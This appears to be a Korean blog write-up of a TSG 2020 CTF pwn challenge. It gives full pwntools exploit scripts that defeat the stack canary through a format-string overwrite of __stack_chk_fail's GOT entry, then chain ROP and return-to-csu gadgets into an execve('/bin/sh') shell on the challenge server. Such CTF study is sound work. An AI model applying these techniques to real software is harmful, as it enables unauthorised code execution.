본문으로 바로가기

[TSG 2020 CTF] beginner's pwn write up

category CTF/TSG 2020 CTF 2020. 7. 14. 23:55

 

 

 

 

몇일간 이 문제 푼다고 고민하고 롸업 보면서 내걸로 만들려고 했지만.. 어려웠다.

덕분에 새로운 접근법을 알게 되었다.

 

 

Attack tech

FSP

Buffer Overflow

GOT Overwrite

ROP

Return to csu

 

 

 

 

 

Analyze

 

 

이 문제는 총 2개의 함수가 존재하는데, main() readn() 이렇게 2개가 존재한다.

main() 함수에서 readn() 함수로 입력을 받고, scanf() 함수로 한번더 입력을 받는데 여기서 FSB 공격이 가능하다. 또한 buffer overflow도 canary 우회만 된다면 가능하다.

 

readn() 함수는 syscall() 을 이용하여 read() 함수를 호출한다.

이때 사용자가 입력한 마지막 값이 0xa 이면 rax에 그 주소를 저장하고 해당 값을 0으로 초기화 한다.

 

 

 

우선 main() 함수에서 FSB 공격이 가능하므로 이를 이용해 공격을 진행하자.

canary 때문에 ROP를 수행하기 힘들다.

따라서 FSB로 __stack_chk_fail() 함수의 GOT를 Overwrite 해서 이 함수가 호출 되는 것을 막는다.

 

이번 문제의 롸업을 보면서 알게되었는데,

FSB 공격할때 printf("%7$s") 이렇게 있으면 64bit 기준으로 레지스터 5개를 건너뛰고 rsp 부터 2번째 공간 (rsp+0x8) 에 저장된 주소를 매개변수로 받아서 값을 출력한다. scanf("%7$s") 도 마찬가지로 rsp+0x8에 저장된 주소에 값을 입력하게 된다.

 

 

%7$s 를 입력했을때, scanf() 함수 호출 직전의 rsp 값을 보면 아래와 같다.

 

scanf() 함수 호출 직전의 RSP

위 사진에서 rsp 값은 입력한 "%7$s" 값이 들어갔고, rsp+0x8 값은 어떠한 함수의 주소를 저장하고 있다.

만약 rsp+0x8에 __stack_chk_fail() 함수의 GOT를 넣으면 GOT를 Overwrite 할 수 있게 된다.

 

from pwn import *


e = ELF("./challenge", checksec=False)
p = process("./challenge")
#p = remote("35.221.81.216", "30002")

payload = "%7$s" + "\x00"*4
payload += p64(e.got["__stack_chk_fail"])

p.sendline(payload)
p.sendline(p64(0x401256))   # Overwrite __stack_chk_fail's GOT
                            # 0x401256 == address of ret in main

p.interactive()

 

위 payload를 실행하면 scanf() 함수가 실행되기 전의 rsp 값을 보면 아래와 같다.

rsp+0x08을 보면 __stack_chk_fail() 함수의 GOT가 들어간 것을 볼 수 있다.

 

__stack_chk_fail()의 GOT를 보면 0x401256 로 Overwrite 된 것을 볼 수 있다.

canary를 우회 했으므로 Buffer Overflow 를 일으켜 ROP 공격을 해보자.

 

첫 readn() 함수를 호출할 때, 0x18 만큼 입력할 수 있으므로 overflow를 일으키기에는 입력 길이가 작다.

scanf() 함수를 이용해야 한다.

payload = "%7$s" + "\x00"*4 를 

payload = "%7$s%s" + "\x00"*2 로 바꾸어 추가적으로 입력할 수 있게 만든다. 즉 Overflow를 일으킬 수 있다.

payload = "%7$s%s" + "\x00"*2
payload += p64(e.got["__stack_chk_fail"])

p.sendline(payload)
p.sendline(p64(0x401256))   # Overwrite __stack_chk_fail's GOT
                            # 0x401256 == address of ret in main

bss = 0x4040c0

payload = "A" * 16          # Dummy
payload += p64(bss)         # Fake RBP
payload += p64(0x4012c3)    # pop rdi; ret
payload += p64(bss)
payload += p64(0x4012c1)    # pop rsi; r15; ret
payload += p64(0x11)
payload += p64(0)
payload += p64(e.symbols["readn"])


p.sendline(payload)
time.sleep(1)
p.sendline("/bin/sh\x00")

위 코드를 실행하면 bss 에 /bin/sh 문자열을 넣을 수 있다.

 

그 다음 execve() 함수를 호출해야하는데, 이 함수를 호출하기 위해 readn() 에 있는 syscall 을 이용한다.

인자를 정리하기 위해 return to csu 기법을 이용한다.

payload += p64(0x4012ba)    # stage 1 csu
payload += p64(0)           # rbx
payload += p64(0)           # rbp
payload += p64(bss)         # r12
payload += p64(0)           # r13
payload += p64(0)           # r14
payload += p64(?????????)   # r15
payload += p64(0x4012a0)    # stage 2 csu

 

문제는 r15에는 syscall 주소가 아닌 syscall 주소를 가진 주소가 필요햐다. 이 문제를 해결 하기 위해 /bin/sh 문자열을 입력할때 추가적으로 syscall 주소를 적어준다.

이렇게 하면 bss 에는 /bin/sh 문자열이 저장되고, bss+0x8 에는 syscall 주소가 들어가게 된다.

 

 

payload += p64(0x4012ba)    # stage 1 csu
payload += p64(0)           # rbx
payload += p64(0)           # rbp
payload += p64(bss)         # r12
payload += p64(0)           # r13
payload += p64(0)           # r14
payload += p64(bss + 0x8)   # r15
payload += p64(0x4012a0)    # stage 2 csu


p.sendline(payload)
time.sleep(1)
p.sendline("/bin/sh\x00" + p64(0x40118f))

 

여기서 또 다른 문제가 있다. syscall로 execve() 함수를 실행시키기 위해 rax = 0x3b가 되어야 하는데, rop gadget에는 pop rax가 없다.

 

rax = 0x3b를 만들어 주기 위해 롸업을 보면 scanf() 함수의 return value 를 이용해서 rax 값을 맞추어주거나.

가장 쉬운 방법은 readn() 함수의 return 값을 이용하는 것이다.

 

아래 readn() 함수의 일부분을 보면 사용자가 입력한 마지막 값이 0xa 이면 rax에는 주소 값이 들어간다.

만약 사용자가 입력한 마지막 값이 0xa가 아니면 0xa를 return 한다.

이를 이용해서 마지막 값이 ;(0x3b) 로 끝나게 문자열을 보내면 rax=0x3b를 맞출 수 있다.

uint64_t rax = zx.q(zx.d(*(arg1 + zx.q(total_input_cnt - 1))))
if (rax:0.b == 0xa)
    rax = arg1 + zx.q(total_input_cnt - 1)
    *rax = 0
return rax

 

/bin/sh 문자열에 마지막 ; 를 붙여 보내면 rax=0x3b가 된다.

p.sendline("/bin/sh\x00" + p64(0x40118f) + ";")

 

 

 

Payload

최종적인 payload는 다음과 같다.

from pwn import *
import time

e = ELF("./challenge", checksec=False)
p = remote("35.221.81.216", "30002")

payload = "%7$s%s" + "\x00"*2
payload += p64(e.got["__stack_chk_fail"])

p.sendline(payload)
p.sendline(p64(0x401256))   # Overwrite __stack_chk_fail's GOT
                            # 0x401256 == address of ret in main

bss = 0x4040c0

payload = "A" * 16          # Dummy
payload += p64(bss)         # Fake RBP
payload += p64(0x4012c3)    # pop rdi; ret
payload += p64(bss)
payload += p64(0x4012c1)    # pop rsi; r15; ret
payload += p64(0x11)
payload += p64(0)
payload += p64(e.symbols["readn"])

payload += p64(0x4012ba)    # stage 1 csu
payload += p64(0)           # rbx
payload += p64(0)           # rbp
payload += p64(bss)         # r12
payload += p64(0)           # r13
payload += p64(0)           # r14
payload += p64(bss + 0x8)   # r15
payload += p64(0x4012a0)    # stage 2 csu


p.sendline(payload)
time.sleep(1)
p.sendline("/bin/sh\x00" + p64(0x40118f) + ";")

p.interactive()

 

 

 

 

 

 

 

이번 문제를 풀면서 canary의 새로운 우회법을 알게 되었고, syscall 할때 rax를 세팅하는 새로운 방법을 알게 되었다.

또한 FSB 공격할때 어느 주소에 저장이 되는지 디버깅 할때 마다 짜증났었는데, 이번 문제를 계기로 쉽게 구하는 방법을 알게 되었다.

이 문제를 통해 많은 걸 배우게 되어 기쁘다 :).

'CTF > TSG 2020 CTF' 카테고리의 다른 글

[TSG 2020 CTF] beginner's pwn write up  (0) 2020.07.14

댓글을 달아 주세요